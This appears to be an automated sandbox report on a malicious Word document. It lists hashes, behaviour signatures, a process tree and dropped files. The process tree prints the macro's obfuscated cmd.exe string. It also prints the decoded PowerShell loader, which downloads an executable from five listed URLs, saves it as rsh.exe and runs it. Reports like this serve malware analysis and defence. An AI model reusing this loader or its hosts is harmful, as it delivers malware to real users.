Analysis

  • max time kernel
    143s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-05-2024 20:34

General

  • Target

    5b5523e3de0be3f3888924ee205feefc_JaffaCakes118.doc

  • Size

    87KB

  • MD5

    5b5523e3de0be3f3888924ee205feefc

  • SHA1

    57a0ded868c84a681e05aacfa483e9cf2bdd0875

  • SHA256

    6fc0496f0b92374c976b56da6a0e3aa03bd960a04207a0354b0f2ba6c2654be9

  • SHA512

    0049a31b6e8fb45d7fddf1b98beda860b8ce21d21ac74efc1a9018ab6b494180b05580a5842a223462d8c1170c16ea7439bf9aff38004b73de145445f3ffbf71

  • SSDEEP

    1536:+Bocn1kp59gxBK85fBnx+amHIUAHcAdAbRjf7ZD+gB:X41k/W487oRnZlB

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5b5523e3de0be3f3888924ee205feefc_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:228
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\cmd.exe /V/C"set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell "!jtC:*jtC!=!" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2368
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /V/C"set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell "!jtC:*jtC!=!" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4888
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell "powershell $ztF='wwH';$wLj='http://sphinx-tour.com/my1fugwV@http://egyptecotours.com/Aaw5tZ@http://secretariaextension.unt.edu.ar/wp-content/00002/l24wo4I@http://venturemeets.com/GeQdV4@http://nowley-rus.ru/administrator/cache/tguHgQZ'.Split('@');$Zim=([System.IO.Path]::GetTempPath()+'\rsh.exe');$oFp =New-Object -com 'msxml2.xmlhttp';$Wci = New-Object -com 'adodb.stream';foreach($Nkk in $wLj){try{$oFp.open('GET',$Nkk,0);$oFp.send();If ($oFp.responsetext -like '*MZ*') {$Wci.open();$Wci.type = 1;$Wci.write($oFp.responseBody);$Wci.savetofile($Zim);Start-Process $Zim;break}}catch{}} "
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5028
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =wwH
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5052
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4396,i,7012731823941922179,12386606396608877869,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:8
    1⤵
      PID:4548

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      daac9c13da6de6812b488fe70af0184c

      SHA1

      1ec08d3ce601c8912c1bb293d6d5bc750491e186

      SHA256

      a36e315cb51ad4e3a8fc69ae369b1bdbc092554cef27b44a012c059d0184a8b5

      SHA512

      5b634a6c7b4f9d55754ca6c49be18ee4757e1aa5665084b2b1f87e4fc91c5e751ec198e636078aaecaafce416349fae990da0c2f12d22aa6d77dfb56032e8d8d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldxfjc4y.wh2.psm1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\rsh.exe

      Filesize

      46KB

      MD5

      e2920bcbd7697b2ae8c173d960d3f7e8

      SHA1

      68abec37585dedb6d2f6315c8a517329575c4765

      SHA256

      d81fd25989f5b70c0c8652bc6d8102fd83fc3a752ebeabb76bca9edf907d0e27

      SHA512

      ec53467fa1317d0f8882f90fcd0adc58228b0086db80a072b28f9d7a7173e05d9e8c3041c397cd45094fdbaf604bdd94c9e4e05e57d71a82959420926bf72688

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • memory/228-9-0x00007FF96C450000-0x00007FF96C460000-memory.dmp

      Filesize

      64KB

    • memory/228-554-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-6-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-8-0x00007FF96C450000-0x00007FF96C460000-memory.dmp

      Filesize

      64KB

    • memory/228-2-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-23-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-30-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-31-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-32-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-589-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-0-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-5-0x00007FF9AEDCD000-0x00007FF9AEDCE000-memory.dmp

      Filesize

      4KB

    • memory/228-1-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-4-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-3-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-7-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-555-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-556-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-558-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-557-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-563-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-562-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-561-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-560-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-559-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-564-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-565-0x00007FF9AED30000-0x00007FF9AEF25000-memory.dmp

      Filesize

      2.0MB

    • memory/228-585-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-586-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-588-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/228-587-0x00007FF96EDB0000-0x00007FF96EDC0000-memory.dmp

      Filesize

      64KB

    • memory/5028-38-0x000002C51D780000-0x000002C51D7A2000-memory.dmp

      Filesize

      136KB